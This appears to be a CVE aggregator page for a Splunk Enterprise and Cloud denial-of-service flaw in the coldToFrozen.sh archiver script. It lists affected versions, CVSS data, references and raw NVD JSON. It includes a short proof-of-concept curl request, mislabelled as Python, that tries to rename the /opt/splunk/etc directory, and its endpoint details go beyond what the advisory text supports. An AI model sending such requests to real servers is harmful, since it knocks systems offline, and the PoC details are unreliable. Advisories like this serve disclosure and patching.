CVE-2026-20240

Description

In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.11, and 9.3.12, and Splunk Cloud Platform versions below 10.4.2603.1, 10.3.2512.9, 10.2.2510.11, 10.1.2507.21, 10.0.2503.13, and 9.3.2411.129, a low-privileged user that does not hold the ‘admin’ or ‘power’ Splunk roles could cause a Denial of Service by exploiting the `coldToFrozen.sh` script in the `splunk_archiver` app to rename critical Splunk directories, making the instance non-functional.<br><br>The Denial of Service is possible because of missing input validation in the `coldToFrozen.sh` script, which accepts arbitrary file paths and renames them without restricting operations to safe directories.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Splunk Enterprise < 10.2.2

Splunk Enterprise < 10.0.5

Splunk Enterprise < 9.4.11

Splunk Enterprise < 9.3.12

Splunk Cloud Platform < 10.4.2603.1

Splunk Cloud Platform < 10.3.2512.9

Splunk Cloud Platform < 10.2.2510.11

Splunk Cloud Platform < 10.1.2507.21

Splunk Cloud Platform < 10.0.2503.13

Splunk Cloud Platform < 9.3.2411.129

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-20240
# Description: Exploits input validation in coldToFrozen.sh to rename directories.
# Requires: Low-privileged user session token.

TARGET="https://<SPLUNK_HOST>:8089"
TOKEN="<LOW_PRIV_TOKEN>"

# Attempt to rename a critical directory (e.g., /opt/splunk/etc)
curl -k -X POST "${TARGET}/servicesNS/nobody/splunk_archiver/admin/coldToFrozen" \
  -H "Authorization: Splunk ${TOKEN}" \
  -d "archive_path=/opt/splunk/etc" \
  -d "frozen_path=/opt/splunk/etc_renamed"

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20240
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20240
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20240/
[4] VulDB https://vuldb.com/cve/CVE-2026-20240
[5] https://advisory.splunk.com/advisories/SVD-2026-0504

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20240", "sourceIdentifier": "[email protected]", "published": "2026-05-20T18:16:26.637", "lastModified": "2026-05-20T18:16:26.637", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.11, and 9.3.12, and Splunk Cloud Platform versions below 10.4.2603.1, 10.3.2512.9, 10.2.2510.11, 10.1.2507.21, 10.0.2503.13, and 9.3.2411.129, a low-privileged user that does not hold the ‘admin’ or ‘power’ Splunk roles could cause a Denial of Service by exploiting the `coldToFrozen.sh` script in the `splunk_archiver` app to rename critical Splunk directories, making the instance non-functional.<br><br>The Denial of Service is possible because of missing input validation in the `coldToFrozen.sh` script, which accepts arbitrary file paths and renames them without restricting operations to safe directories."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://advisory.splunk.com/advisories/SVD-2026-0504", "source": "[email protected]"}]}}